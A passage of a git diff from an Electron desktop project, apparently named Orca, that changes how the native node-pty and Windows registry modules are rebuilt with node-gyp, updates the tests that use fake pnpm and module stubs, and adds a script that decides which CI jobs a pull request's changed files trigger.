   const nodePtyPatchPath = resolve(projectDir, 'config', 'patches', 'node-pty@1.1.0.patch')
   if (!existsSync(nodePtyPatchPath)) {
     return false
@@ -351,16 +365,32 @@ function getWindowsBuildNumber() {
   return match && match.length === 4 ? Number.parseInt(match[3], 10) : 0
 }
 
-function runPnpm(args) {
+function rebuildNodeRuntimeModules(moduleNames) {
+  for (const moduleName of moduleNames) {
+    const moduleDir = dirname(require.resolve(`${moduleName}/package.json`))
+    console.warn(`[native-runtime] Rebuilding ${moduleName} with node-gyp.`)
+    runPnpm(['exec', 'node-gyp', 'rebuild'], { cwd: moduleDir })
+    if (moduleName === 'node-pty' && process.platform === 'win32') {
+      runNodeScript([resolve(moduleDir, 'scripts', 'post-install.js')])
+    }
+  }
+}
+
+function runPnpm(args, { cwd = projectDir } = {}) {
   const command = process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm'
+  const env =
+    process.platform === 'linux' && args.includes('node-gyp')
+      ? { ...process.env, CXXFLAGS: `${process.env.CXXFLAGS ?? ''} -std=gnu++2a`.trim() }
+      : process.env
   const result = spawnSync(command, args, {
-    cwd: projectDir,
+    cwd,
     stdio: 'inherit',
-    shell: process.platform === 'win32'
+    shell: process.platform === 'win32',
+    env
   })
 
   if (result.error || result.status !== 0) {
-    console.error(`[native-runtime] ${command} ${args.join(' ')} failed.`)
+    console.error(`[native-runtime] ${command} ${args.join(' ')} failed in ${cwd}.`)
     if (result.error) {
       console.error(formatError(result.error))
     }
diff --git a/config/scripts/ensure-native-runtime.test.mjs b/config/scripts/ensure-native-runtime.test.mjs
index d1ea104b863..ea6e876e619 100644
--- a/config/scripts/ensure-native-runtime.test.mjs
+++ b/config/scripts/ensure-native-runtime.test.mjs
@@ -29,6 +29,7 @@ describe('ensure-native-runtime', () => {
       const binDir = join(projectDir, 'bin')
       copyFileSync(sourceScriptPath, scriptPath)
       writeFakeNativeModules(projectDir)
+      writeNodePtyPatchFile(projectDir)
       writeFakePnpm(binDir)
 
       const result = spawnSync(process.execPath, [scriptPath, '--runtime=node'], {
@@ -42,7 +43,11 @@ describe('ensure-native-runtime', () => {
 
       expect(result.status, result.stderr).toBe(0)
       const log = readFileSync(logPath, 'utf8')
-      expect(log).toContain('pnpm rebuild node-pty\n')
+      expect(log).toContain('pnpm exec node-gyp rebuild\n')
+      expect(log).toContain(join('node_modules', 'node-pty'))
+      if (process.platform === 'linux') {
+        expect(log).toMatch(/^cxxflags=(?:.*\s)?-std=gnu\+\+2a$/m)
+      }
       expect(log.split('\n').filter((line) => line.startsWith('node-pty child '))).toEqual([
         expect.stringMatching(/^node-pty child (?:conpty|pty) marker=false$/),
         expect.stringMatching(/^node-pty child (?:conpty|pty) marker=true$/)
@@ -52,6 +57,41 @@ describe('ensure-native-runtime', () => {
     }
   })
 
+  it.skipIf(process.platform !== 'win32')(
+    'rebuilds other failed Windows addons with patched node-pty',
+    () => {
+      const projectDir = mkTempProject()
+
+      try {
+        const scriptPath = join(projectDir, 'config', 'scripts', 'ensure-native-runtime.mjs')
+        const logPath = join(projectDir, 'native-runtime.log')
+        const markerPath = join(projectDir, 'rebuilt.marker')
+        const binDir = join(projectDir, 'bin')
+        copyFileSync(sourceScriptPath, scriptPath)
+        writeFakeNativeModules(projectDir, { windowsRegistryRequiresMarker: true })
+        writeNodePtyPatchFile(projectDir)
+        writeFakePnpm(binDir)
+
+        const result = spawnSync(process.execPath, [scriptPath, '--runtime=node'], {
+          cwd: projectDir,
+          encoding: 'utf8',
+          env: envWithPrependedPath(binDir, {
+            ORCA_NATIVE_TEST_LOG: logPath,
+            ORCA_NATIVE_TEST_MARKER: markerPath
+          })
+        })
+
+        expect(result.status, result.stderr).toBe(0)
+        const log = readFileSync(logPath, 'utf8')
+        expect(log.match(/pnpm exec node-gyp rebuild\n/g)).toHaveLength(2)
+        expect(log).toContain(join('node_modules', 'node-pty'))
+        expect(log).toContain(join('node_modules', 'windows-native-registry'))
+      } finally {
+        rmSync(projectDir, { recursive: true, force: true })
+      }
+    }
+  )
+
   it.skipIf(process.platform === 'win32')(
     'rebuilds patched node-pty artifacts even when the Node load check passes',
     () => {
@@ -80,7 +120,7 @@ describe('ensure-native-runtime', () => {
         expect(result.stderr).toContain(
           'Patched node-pty build artifacts are missing; rebuilding native deps.'
         )
-        expect(readFileSync(logPath, 'utf8')).toContain('pnpm rebuild node-pty\n')
+        expect(readFileSync(logPath, 'utf8')).toContain('pnpm exec node-gyp rebuild\n')
       } finally {
         rmSync(projectDir, { recursive: true, force: true })
       }
@@ -114,7 +154,7 @@ describe('ensure-native-runtime', () => {
 
         expect(result.status, result.stderr).toBe(0)
         expect(result.stderr).toContain("expected build/Release so Orca's node-pty patch is active")
-        expect(readFileSync(logPath, 'utf8')).toContain('pnpm rebuild node-pty\n')
+        expect(readFileSync(logPath, 'utf8')).toContain('pnpm exec node-gyp rebuild\n')
       } finally {
         rmSync(projectDir, { recursive: true, force: true })
       }
@@ -148,7 +188,7 @@ describe('ensure-native-runtime', () => {
 
         expect(result.status, result.stderr).toBe(0)
         expect(result.stderr).not.toContain('Patched node-pty build artifacts are missing')
-        expect(readFileSync(logPath, 'utf8')).not.toContain('pnpm rebuild node-pty')
+        expect(readFileSync(logPath, 'utf8')).not.toContain('pnpm exec node-gyp rebuild')
       } finally {
         rmSync(projectDir, { recursive: true, force: true })
       }
@@ -178,9 +218,15 @@ function envWithPrependedPath(binDir, extraEnv) {
   }
 }
 
-function writeFakeNativeModules(projectDir) {
+function writeFakeNativeModules(projectDir, { windowsRegistryRequiresMarker = false } = {}) {
   const nodePtyDir = join(projectDir, 'node_modules', 'node-pty')
   mkdirSync(join(nodePtyDir, 'lib'), { recursive: true })
+  writeFileSync(
+    join(nodePtyDir, 'package.json'),
+    '{"name":"node-pty","version":"1.1.0","main":"index.js"}\n'
+  )
+  mkdirSync(join(nodePtyDir, 'scripts'), { recursive: true })
+  writeFileSync(join(nodePtyDir, 'scripts', 'post-install.js'), '')
 
   writeFileSync(join(nodePtyDir, 'index.js'), 'module.exports = {}\n')
   writeFileSync(
@@ -197,15 +243,29 @@ exports.loadNativeModule = function loadNativeModule(nativeName) {
   if (!markerExists) {
     throw new Error('ABI mismatch sentinel')
   }
+  return {
+    dir: '../build/Release/',
+    module: {
+      listJobProcessIds() {},
+      terminateJob() {},
+      assignCurrentProcessToJob() {}
+    }
+  }
 }
 `
   )
-  writeFakeWindowsRegistry(projectDir)
+  writeFakeWindowsRegistry(projectDir, { requiresMarker: windowsRegistryRequiresMarker })
 }
 
 function writeLoadableNativeModules(projectDir, { nativeDir = null } = {}) {
   const nodePtyDir = join(projectDir, 'node_modules', 'node-pty')
   mkdirSync(join(nodePtyDir, 'lib'), { recursive: true })
+  writeFileSync(
+    join(nodePtyDir, 'package.json'),
+    '{"name":"node-pty","version":"1.1.0","main":"index.js"}\n'
+  )
+  mkdirSync(join(nodePtyDir, 'scripts'), { recursive: true })
+  writeFileSync(join(nodePtyDir, 'scripts', 'post-install.js'), '')
 
   writeFileSync(join(nodePtyDir, 'index.js'), 'module.exports = {}\n')
   writeFileSync(
@@ -218,23 +278,40 @@ exports.loadNativeModule = function loadNativeModule(nativeName) {
   const dir = ${JSON.stringify(nativeDir)} ??
     (rebuilt ? '../build/Release/' : '../prebuilds/' + process.platform + '-' + process.arch + '/')
   appendFileSync(process.env.ORCA_NATIVE_TEST_LOG, \`node-pty load \${nativeName} dir=\${dir}\\n\`)
-  return { dir, module: {} }
+  return {
+    dir,
+    module: {
+      listJobProcessIds: () => [],
+      terminateJob: () => true,
+      assignCurrentProcessToJob: () => true
+    }
+  }
 }
 `
   )
   writeFakeWindowsRegistry(projectDir)
 }
 
-function writeFakeWindowsRegistry(projectDir) {
+function writeFakeWindowsRegistry(projectDir, { requiresMarker = false } = {}) {
   if (process.platform !== 'win32') {
     return
   }
   const registryDir = join(projectDir, 'node_modules', 'windows-native-registry')
   mkdirSync(registryDir, { recursive: true })
   writeFileSync(
-    join(registryDir, 'index.js'),
-    'exports.HK = { CU: 0x80000001 }; exports.getRegistryKey = () => ({})\n'
+    join(registryDir, 'package.json'),
+    '{"name":"windows-native-registry","version":"3.2.2","main":"index.js"}\n'
   )
+  const markerGate = requiresMarker
+    ? `if (!require('node:fs').existsSync(process.env.ORCA_NATIVE_TEST_MARKER)) { throw new Error('registry ABI mismatch sentinel') }`
+    : ''
+  writeFileSync(
+    join(registryDir, 'index.js'),
+    `exports.HK = { CU: 0x80000001 }; exports.getRegistryKey = () => { ${markerGate}; return {} }\n`
+  )
+  const processTreeDir = join(projectDir, 'node_modules', '@vscode', 'windows-process-tree')
+  mkdirSync(processTreeDir, { recursive: true })
+  writeFileSync(join(processTreeDir, 'index.js'), 'module.exports = {}\n')
 }
 
 function writeNodePtyPatchFile(projectDir) {
@@ -245,6 +322,13 @@ function writeNodePtyPatchFile(projectDir) {
 function writePatchedNodePtyBuildArtifacts(projectDir) {
   const buildDir = join(projectDir, 'node_modules', 'node-pty', 'build', 'Release')
   mkdirSync(buildDir, { recursive: true })
+  if (process.platform === 'win32') {
+    writeFileSync(join(buildDir, 'conpty.node'), '')
+    mkdirSync(join(buildDir, 'conpty'), { recursive: true })
+    writeFileSync(join(buildDir, 'conpty', 'conpty.dll'), '')
+    writeFileSync(join(buildDir, 'conpty', 'OpenConsole.exe'), '')
+    return
+  }
   writeFileSync(join(buildDir, 'pty.node'), '')
   if (process.platform === 'darwin') {
     writeFileSync(join(buildDir, 'spawn-helper'), '')
@@ -260,6 +344,15 @@ function writeFakePnpm(binDir) {
 const { appendFileSync, writeFileSync } = require('node:fs')
 
 appendFileSync(process.env.ORCA_NATIVE_TEST_LOG, \`pnpm \${process.argv.slice(2).join(' ')}\\n\`)
+appendFileSync(process.env.ORCA_NATIVE_TEST_LOG, \`cwd=\${process.cwd()}\\n\`)
+appendFileSync(
+  process.env.ORCA_NATIVE_TEST_LOG,
+  \`npm_config_build_from_source=\${process.env.npm_config_build_from_source || ''}\\n\`
+)
+appendFileSync(
+  process.env.ORCA_NATIVE_TEST_LOG,
+  \`cxxflags=\${process.env.CXXFLAGS || ''}\\n\`
+)
 writeFileSync(process.env.ORCA_NATIVE_TEST_MARKER, 'rebuilt')
 `
   )
diff --git a/config/scripts/install-node-dependencies-action.test.mjs b/config/scripts/install-node-dependencies-action.test.mjs
index d989221c11a..a90747513a1 100644
--- a/config/scripts/install-node-dependencies-action.test.mjs
+++ b/config/scripts/install-node-dependencies-action.test.mjs
@@ -47,6 +47,33 @@ function executeInstallScript(fixture) {
 }
 
 describe('install-node-dependencies action', () => {
+  it('skips the lockfile diff when a job container has no Git metadata', () => {
+    const fixture = createFixture()
+    try {
+      rmSync(join(fixture.workspace, '.git'), { recursive: true, force: true })
+
+      const result = executeInstallScript(fixture)
+      expect(result.status, result.stderr || result.stdout).toBe(0)
+      expect(`${result.stdout}\n${result.stderr}`).not.toMatch(/^diff --git /m)
+    } finally {
+      rmSync(fixture.root, { recursive: true, force: true })
+    }
+  })
+
+  it('skips the lockfile diff for a bare repository', () => {
+    const fixture = createFixture()
+    try {
+      rmSync(join(fixture.workspace, '.git'), { recursive: true, force: true })
+      expect(run('git', ['init', '--bare', '-q'], { cwd: fixture.workspace }).status).toBe(0)
+
+      const result = executeInstallScript(fixture)
+      expect(result.status, result.stderr || result.stdout).toBe(0)
+      expect(`${result.stdout}\n${result.stderr}`).not.toMatch(/^diff --git /m)
+    } finally {
+      rmSync(fixture.root, { recursive: true, force: true })
+    }
+  })
+
   it.each([
     ['package.json', '{"name":"changed"}\n'],
     ['pnpm-lock.yaml', 'lockfileVersion: 9\nchanged: true\n']
diff --git a/config/scripts/package-electron-runtime-contract.test.mjs b/config/scripts/package-electron-runtime-contract.test.mjs
index 372218d903c..64b2f96505a 100644
--- a/config/scripts/package-electron-runtime-contract.test.mjs
+++ b/config/scripts/package-electron-runtime-contract.test.mjs
@@ -467,10 +467,11 @@ describe('Electron runtime package contract', () => {
     expect(copyStep.run).toContain('git add "$CASK_PATH"')
   })
 
-  it('installs the Electron package binary in PR checks without changing native module ABI', () => {
-    const prWorkflow = readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8')
-    const parsedWorkflow = parse(prWorkflow)
-    const installStep = parsedWorkflow.jobs.test.steps.find(
+  it('installs the Electron package binary in the shared unit-test workflow', () => {
+    const unitTestWorkflow = parse(
+      readFileSync(join(projectDir, '.github/workflows/unit-tests.yml'), 'utf8')
+    )
+    const installStep = unitTestWorkflow.jobs.test.steps.find(
       (step) => step.name === 'Install Electron package binary for tests'
     )
 
diff --git a/config/scripts/pr-code-change-scope.mjs b/config/scripts/pr-code-change-scope.mjs
index d19eee52454..c51b1c18a5c 100644
--- a/config/scripts/pr-code-change-scope.mjs
+++ b/config/scripts/pr-code-change-scope.mjs
@@ -16,6 +16,196 @@ const DOCS_ONLY_FILES = new Set([
 
 const DOCS_ONLY_PREFIXES = ['docs/', '.github/ISSUE_TEMPLATE/']
 
+export const PR_CHECK_JOBS = [
+  'static_analysis',
+  'typecheck',
+  'git_compatibility',
+  'xterm_patch_sync',
+  'shell_contracts',
+  'test',
+  'orcad_browser',
+  'cross-version-wire',
+  'managed_hook_node18',
+  'package',
+  'package_windows'
+]
+
+const ALWAYS_ON_CODE_JOBS = new Set(['static_analysis', 'typecheck', 'test'])
+
+const GLOBAL_FORCE_PREFIXES = [
+  '.github/workflows/pr.yml',
+  '.github/actions/install-node-dependencies/',
+  'config/scripts/pr-code-change-scope'
+]
+
+const GLOBAL_FORCE_FILES = new Set(['package.json', 'pnpm-lock.yaml'])
+
+const GIT_COMPAT_PREFIXES = [
+  'src/shared/git-',
+  'src/shared/review-head-tracking-ref',
+  'src/main/git/',
+  'src/relay/git-',
+  'config/scripts/git-binary-compatibility'
+]
+
+const XTERM_PREFIXES = [
+  'config/patches/xterm-upstream.json',
+  'config/patches/@xterm',
+  'config/patches/xterm-src/',
+  'config/scripts/regenerate-xterm-patches'
+]
+
+const SHELL_PREFIXES = [
+  'src/main/daemon/repro-13767-shell-ready-marker-lost-to-exec',
+  'src/main/daemon/shell-ready',
+  'src/main/daemon/daemon-bash-shell-ready',
+  'src/main/daemon/daemon-shell-ready-wrapper',
+  'src/main/daemon/node-pty-fd-leak',
+  'src/main/providers/local-pty-shell-ready',
+  'src/main/providers/__tests__/shell-ready-framework-example',
+  'src/main/pty/',
+  'src/main/shell-templates',
+  'src/main/shell-startup-',
+  'src/main/shell-wrapper-',
+  'src/main/terminal-history-fish',
+  'src/main/zsh-',
+  'src/renderer/src/components/terminal-pane/fish-color-scheme',
+  'src/shared/fish-',
+  'src/shared/pty-reply-echo-shapes',
+  'src/shared/startup-shell-portability',
+  'src/shared/posix-command-path-lookup',
+  'config/patches/node-pty@',
+  'config/scripts/ensure-native-runtime',
+  'config/scripts/node-pty-job-ownership'
+]
+
+const ORCAD_BROWSER_PREFIXES = [
+  'src/main/orcad/external-chromium-',
+  'src/main/orcad/orcad-browser-provider',
+  'src/main/orcad/orcad-agent-browser-binary',
+  'src/main/orcad/electron-serve-browser-process'
+]
+
+const CROSS_VERSION_WIRE_PREFIXES = [
+  'tests/e2e/cross-version-wire/',
+  'src/shared/protocol-version',
+  'src/shared/terminal-stream-protocol',
+  'src/shared/browser-client-host-protocol',
+  'src/shared/browser-network-tunnel-protocol',
+  'src/shared/browser-client-host-placement',
+  'src/main/runtime/rpc/dispatcher',
+  'src/main/runtime/rpc/methods/browser-tab-create-schema',
+  'src/main/runtime/rpc/methods/terminal',
+  'src/renderer/src/runtime/remote-runtime-terminal-multiplexer'
+]
+
+const MANAGED_HOOK_PREFIXES = [
+  'config/scripts/smoke-managed-hook-runtime-node18',
+  'config/scripts/build-relay',
+  'src/relay/',
+  'src/shared/agent-hook',
+  'src/main/agent-hooks/'
+]
+
+const NATIVE_RUNTIME_PREFIXES = [
+  'config/scripts/ensure-native-runtime',
+  'config/scripts/rebuild-native-deps',
+  'config/scripts/node-pty-job-ownership',
+  'config/scripts/electron-builder-native-rebuild',
+  'config/patches/node-pty@',
+  'config/patches/@vscode__windows-process-tree'
+]
+
+const NATIVE_CACHE_FILES = new Set([
+  'package.json',
+  'pnpm-lock.yaml',
+  '.github/actions/install-node-dependencies/action.yml',
+  'config/scripts/ensure-native-runtime.mjs',
+  'config/scripts/rebuild-native-deps.mjs'
+])
+
+const NATIVE_CACHE_PREFIXES = [
+  'config/patches/node-pty@',
+  'config/patches/@vscode__windows-process-tree'
+]
+
+const SHARED_PACKAGE_PREFIXES = [
+  'electron.vite.config.ts',
+  'config/electron-builder',
+  'config/packaged-runtime',
+  'config/build-plugins/',
+  'config/scripts/build-',
+  'config/scripts/smoke-packaged',
+  'config/scripts/install-electron-package-binary',
+  'config/scripts/verify-packaged',
+  'config/scripts/verify-linux-glibc',
+  'config/scripts/run-electron-vite',
+  'skills/',
+  'skill-guides/',
+  'resources/build/',
+  'resources/onboarding/',
+  'resources/plugins/',
+  'resources/skills/',
+  ...NATIVE_RUNTIME_PREFIXES
+]
+
+const LINUX_PACKAGE_PREFIXES = [
+  ...SHARED_PACKAGE_PREFIXES,
+  'native/computer-use-linux/',
+  'resources/linux/',
+  'config/scripts/run-headless-serve'
+]
+
+const WINDOWS_PACKAGE_PREFIXES = [
+  ...SHARED_PACKAGE_PREFIXES,
+  'native/windows-cli-launcher/',
+  'native/computer-use-windows/',
+  'resources/win32/',
+  'config/scripts/build-windows-cli-launcher',
+  'config/scripts/windows-pty-native-capability',
+  'tests/tools/windows-pty-native-capability-smoke/'
+]
+
+const LINUX_PACKAGE_TESTS = [
+  'src/main/browser/browser-client-page-renderer-lifecycle.electron.test.ts',
+  'src/main/browser/browser-route-tcp-egress.electron.test.ts',
+  'src/main/browser/browser-route-webrtc-egress.electron.test.ts',
+  'src/main/browser/browser-route-h3-egress.electron.test.ts',
+  'src/main/browser/browser-route-dns-prefetch.electron.test.ts'
+]
+
+const WINDOWS_PACKAGE_TESTS = [
+  ...LINUX_PACKAGE_TESTS,
+  'config/scripts/rebuild-native-deps.test.mjs',
+  'src/main/providers/windows-conpty-wide-char-duplication.node-pty.test.ts',
+  'src/main/providers/pty-repaint-wide-char-buffer.node-pty.test.ts',
+  'src/shared/child-process/windows-command-line.win32.test.ts',
+  'src/main/agent-hooks/windows-hook-payload-delivery.test.ts',
+  'src/main/windows/windows-pty-job.win32.test.ts',
+  'src/main/windows/windows-host-job.win32.test.ts',
+  'src/main/wsl/wsl-runner.test.ts',
+  'src/main/wsl/wsl-guest-environment.test.ts',
+  'src/main/wsl/wsl-invocation-boundary.test.ts',
+  'src/main/wsl/wsl-executable-path.win32.test.ts',
+  'src/main/wsl/wsl-w1-w3-contract.test.ts',
+  'src/shared/source-scan/source-tree-scan.test.ts',
+  'src/main/cli/wsl-cli-powershell-boundary.test.ts',
+  'src/main/cursor/hook-service.test.ts',
+  'src/main/orca-profiles/profile-index-store.test.ts',
+  'src/main/runtime/repo-worktree-admin-fingerprint.test.ts',
+  'src/main/runtime/worktree-scan-admin-fingerprint-gate.test.ts',
+  'src/shared/secure-file-fsync-flags.test.ts',
+  'src/main/ipc/pty-codex-account-attribution.test.ts',
+  'src/main/ipc/pty-spawn-env-codex-resume-provenance.test.ts'
+]
+
+const DESKTOP_IRRELEVANT_PREFIXES = [
+  'mobile/',
+  '.github/workflows/mobile.yml',
+  '.github/workflows/mobile-ios-release.yml',
+  '.github/workflows/mobile-android-release.yml'
+]
+
 export function isDocsOnlyPath(file) {
   if (DOCS_ONLY_FILES.has(file)) {
     return true
@@ -32,10 +222,91 @@ export function shouldRunPrChecks(changedFiles) {
   if (changedFiles.length === 0) {
     return true
   }
-  return changedFiles.some((file) => !isDocsOnlyPath(file))
+  return changedFiles.some((file) => !isDocsOnlyPath(file) && !isDesktopIrrelevantPath(file))
+}
+
+export function classifyPrJobs(changedFiles) {
+  const emptyDiff = changedFiles.length === 0
+  const shouldRun = shouldRunPrChecks(changedFiles)
+  const forceAll = emptyDiff || changedFiles.some(isGlobalForcePath)
+  const jobs = Object.fromEntries(
+    PR_CHECK_JOBS.map((job) => [
+      job,
+      shouldRun && (forceAll || ALWAYS_ON_CODE_JOBS.has(job) || jobDetector(job)(changedFiles))
+    ])
+  )
+  return {
+    should_run: shouldRun,
+    native_cache_changed: shouldRun && (emptyDiff || changedFiles.some(isNativeCacheInputPath)),
+    ...jobs
+  }
+}
+
+function jobDetector(job) {
+  switch (job) {
+    case 'git_compatibility':
+      return (files) => files.some((file) => matchesPrefix(file, GIT_COMPAT_PREFIXES))
+    case 'xterm_patch_sync':
+      return (files) => files.some((file) => matchesPrefix(file, XTERM_PREFIXES))
+    case 'shell_contracts':
+      return (files) => files.some((file) => matchesPrefix(file, SHELL_PREFIXES))
+    case 'orcad_browser':
+      return (files) => files.some((file) => matchesPrefix(file, ORCAD_BROWSER_PREFIXES))
+    case 'cross-version-wire':
+      return (files) => files.some((file) => matchesPrefix(file, CROSS_VERSION_WIRE_PREFIXES))
+    case 'managed_hook_node18':
+      return (files) => files.some((file) => matchesPrefix(file, MANAGED_HOOK_PREFIXES))
+    case 'package':
+      return (files) => files.some(isLinuxPackagePath)
+    case 'package_windows':
+      return (files) => files.some(isWindowsPackagePath)
+    default:
+      return () => true
+  }
+}
+
+function isLinuxPackagePath(file) {
+  return LINUX_PACKAGE_TESTS.includes(file) || isProductBundlePath(file, LINUX_PACKAGE_PREFIXES)
+}
+
+function isWindowsPackagePath(file) {
+  return WINDOWS_PACKAGE_TESTS.includes(file) || isProductBundlePath(file, WINDOWS_PACKAGE_PREFIXES)
+}
+
+function isProductBundlePath(file, extraPrefixes) {
+  if (isTestFile(file)) {
+    return false
+  }
+  if (file.startsWith('src/')) {
+    return true
+  }
+  return matchesPrefix(file, extraPrefixes)
+}
+
+function isTestFile(file) {
+  return /\.(?:test|spec)\.(?:js|cjs|mjs|ts|tsx)$/.test(file) || file.includes('/__tests__/')
+}
+
+function isDesktopIrrelevantPath(file) {
+  return matchesPrefix(file, DESKTOP_IRRELEVANT_PREFIXES)
+}
+
+function isNativeCacheInputPath(file) {
+  return NATIVE_CACHE_FILES.has(file) || matchesPrefix(file, NATIVE_CACHE_PREFIXES)
+}
+
+function isGlobalForcePath(file) {
+  return GLOBAL_FORCE_FILES.has(file) || matchesPrefix(file, GLOBAL_FORCE_PREFIXES)
+}
+
+function matchesPrefix(file, prefixes) {
+  return prefixes.some((prefix) => file === prefix || file.startsWith(prefix))
 }
 
 if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
   const files = readFileSync(0, 'utf8').split('\n').filter(Boolean)
-  process.stdout.write(shouldRunPrChecks(files) ? 'true\n' : 'false\n')
+  const classification = classifyPrJobs(files)
+  for (const [name, value] of Object.entries(classification)) {
+    process.stdout.write(`${name}=${value ? 'true' : 'false'}\n`)
+  }
 }
diff --git a/config/scripts/pr-code-change-scope.test.mjs b/config/scripts/pr-code-change-scope.test.mjs
index f71d6c42934..ea83796e6cb 100644
--- a/config/scripts/pr-code-change-scope.test.mjs
+++ b/config/scripts/pr-code-change-scope.test.mjs
@@ -1,13 +1,18 @@
+import { spawnSync } from 'node:child_process'
 import { readFileSync } from 'node:fs'
 import { join, resolve } from 'node:path'
 import { describe, expect, it } from 'vitest'
 import { parse } from 'yaml'
-import { isDocsOnlyPath, shouldRunPrChecks } from './pr-code-change-scope.mjs'
+import {
+  classifyPrJobs,
+  isDocsOnlyPath,
+  PR_CHECK_JOBS,
+  shouldRunPrChecks
+} from './pr-code-change-scope.mjs'
 
 const projectDir = resolve(import.meta.dirname, '../..')
 const prWorkflow = parse(readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8'))
 
-const gatedIf = "needs.code_paths.outputs.should_run == 'true'"
 const expensiveJobs = [
   'static_analysis',
   'typecheck',
@@ -15,12 +20,34 @@ const expensiveJobs = [
   'xterm_patch_sync',
   'shell_contracts',
   'test',
+  'orcad_browser',
   'cross-version-wire',
   'managed_hook_node18',
   'package',
   'package_windows'
 ]
 
+const ALWAYS_ON = ['static_analysis', 'typecheck', 'test']
+
+function expectedJobs(overrides, { alwaysOn = true } = {}) {
+  return Object.fromEntries(
+    PR_CHECK_JOBS.map((job) => [
+      job,
+      (alwaysOn && ALWAYS_ON.includes(job)) || Boolean(overrides[job])
+    ])
+  )
+}
+
+function expectClassification(files, overrides) {
+  const result = classifyPrJobs(files)
+  const shouldRun = shouldRunPrChecks(files)
+  expect(result.should_run).toBe(shouldRun)
+  expect(result).toMatchObject({
+    should_run: shouldRun,
+    ...expectedJobs(overrides, { alwaysOn: shouldRun })
+  })
+}
+
 describe('docs-only path classification', () => {
   it('treats the WeChat README PR files as docs-only', () => {
     expect(
@@ -54,9 +81,170 @@ describe('docs-only path classification', () => {
   it('runs PR Checks when the diff is empty rather than skipping by accident', () => {
     expect(shouldRunPrChecks([])).toBe(true)
   })
+
+  it('does not start desktop PR Checks for mobile-only diffs', () => {
+    expect(shouldRunPrChecks(['mobile/src/App.tsx', 'mobile/package.json'])).toBe(false)
+  })
 })
 
-describe('PR Checks docs-only skip wiring', () => {
+describe('per-job path classification', () => {
+  it('runs every expensive job on an empty diff rather than skipping by accident', () => {
+    const result = classifyPrJobs([])
+    expect(result.should_run).toBe(true)
+    for (const job of PR_CHECK_JOBS) {
+      expect(result[job], job).toBe(true)
+    }
+  })
+
+  it('skips every expensive job for docs-only diffs', () => {
+    expectClassification(['README.md', 'docs/readme/README.zh-CN.md'], {})
+  })
+
+  it('runs packaging and always-on jobs for product source, not git/xterm/shell lanes', () => {
+    expectClassification(['src/renderer/src/components/tab-bar/TabBar.tsx'], {
+      package: true,
+      package_windows: true
+    })
+  })
+
+  it('runs Git compatibility only when git capability inputs change', () => {
+    expectClassification(['src/shared/git-capability-cache.ts'], {
+      git_compatibility: true,
+      package: true,
+      package_windows: true
+    })
+    expectClassification(['src/shared/git-binary-compatibility.test.ts'], {
+      git_compatibility: true
+    })
+  })
+
+  it('runs xterm patch sync only when xterm inputs change', () => {
+    expectClassification(['config/patches/xterm-upstream.json'], {
+      xterm_patch_sync: true
+    })
+    expectClassification(['config/patches/@xterm__xterm@6.1.0-beta.287.patch'], {
+      xterm_patch_sync: true
+    })
+  })
+
+  it('runs native package jobs only for the platform that ships the changed native', () => {
+    expectClassification(['native/windows-cli-launcher/OrcaCliLauncher.cs'], {
+      package_windows: true
+    })
+    expectClassification(['native/computer-use-linux/runtime.py'], {
+      package: true
+    })
+    expectClassification(['native/computer-use-macos/Package.swift'], {})
+  })
+
+  it('runs shell contracts when live-shell inputs change', () => {
+    expectClassification(['src/main/daemon/shell-ready.ts'], {
+      shell_contracts: true,
+      package: true,
+      package_windows: true
+    })
+  })
+
+  it('runs shell contracts when wrapper templates or live-shell fixtures change', () => {
+    expectClassification(['src/main/shell-templates.ts'], {
+      shell_contracts: true,
+      package: true,
+      package_windows: true
+    })
+    expectClassification(['src/main/shell-startup-launch-intent-fixtures.ts'], {
+      shell_contracts: true,
+      package: true,
+      package_windows: true
+    })
+  })
+
+  it('runs orcad browser when Chrome launch, session, or tab modules change', () => {
+    for (const file of [
+      'src/main/orcad/external-chromium-browser-session.ts',
+      'src/main/orcad/external-chromium-command-arguments.ts',
+      'src/main/orcad/external-chromium-tab-registry.ts',
+      'src/main/orcad/external-chromium-tab-projection.ts'
+    ]) {
+      expectClassification([file], {
+        orcad_browser: true,
+        package: true,
+        package_windows: true
+      })
+    }
+    expectClassification(['src/main/orcad/orcad-native-preflight.ts'], {
+      package: true,
+      package_windows: true
+    })
+  })
+
+  it('runs cross-version wire checks for every working-tree wire module', () => {
+    for (const file of [
+      'src/shared/protocol-version.ts',
+      'src/shared/terminal-stream-protocol.ts',
+      'src/main/runtime/rpc/dispatcher.ts',
+      'src/main/runtime/rpc/methods/browser-tab-create-schema.ts',
+      'src/main/runtime/rpc/methods/terminal.ts',
+      'src/renderer/src/runtime/remote-runtime-terminal-multiplexer.ts'
+    ]) {
+      expectClassification([file], {
+        'cross-version-wire': true,
+        package: true,
+        package_windows: true
+      })
+    }
+    expectClassification(
+      ['tests/e2e/cross-version-wire/cross-version-terminal-wire.unit.test.ts'],
+      { 'cross-version-wire': true }
+    )
+  })
+
+  it('runs workflow-self-change and lockfile diffs as force-all', () => {
+    const result = classifyPrJobs(['.github/workflows/pr.yml'])
+    expect(result.should_run).toBe(true)
+    for (const job of PR_CHECK_JOBS) {
+      expect(result[job], job).toBe(true)
+    }
+    expect(classifyPrJobs(['pnpm-lock.yaml']).git_compatibility).toBe(true)
+  })
+
+  it('primes native caches only when their immutable inputs change', () => {
+    expect(classifyPrJobs([]).native_cache_changed).toBe(true)
+    expect(classifyPrJobs(['README.md']).native_cache_changed).toBe(false)
+    expect(classifyPrJobs(['src/main/index.ts']).native_cache_changed).toBe(false)
+    for (const file of [
+      'package.json',
+      'pnpm-lock.yaml',
+      '.github/actions/install-node-dependencies/action.yml',
+      'config/scripts/ensure-native-runtime.mjs',
+      'config/scripts/rebuild-native-deps.mjs',
+      'config/patches/node-pty@1.1.0.patch'
+    ]) {
+      expect(classifyPrJobs([file]).native_cache_changed, file).toBe(true)
+    }
+  })
+
+  it('keeps unit-test-only diffs out of packaging', () => {
+    expectClassification(['src/main/git/git-status.test.ts'], {
+      git_compatibility: true
+    })
+  })
+
+  it('emits GitHub output pairs from the shipped CLI', () => {
+    const result = spawnSync(process.execPath, ['config/scripts/pr-code-change-scope.mjs'], {
+      cwd: projectDir,
+      encoding: 'utf8',
+      input: 'config/patches/xterm-upstream.json\n'
+    })
+    expect(result.status, result.stderr).toBe(0)
+    expect(result.stdout).toContain('should_run=true\n')
+    expect(result.stdout).toContain('xterm_patch_sync=true\n')
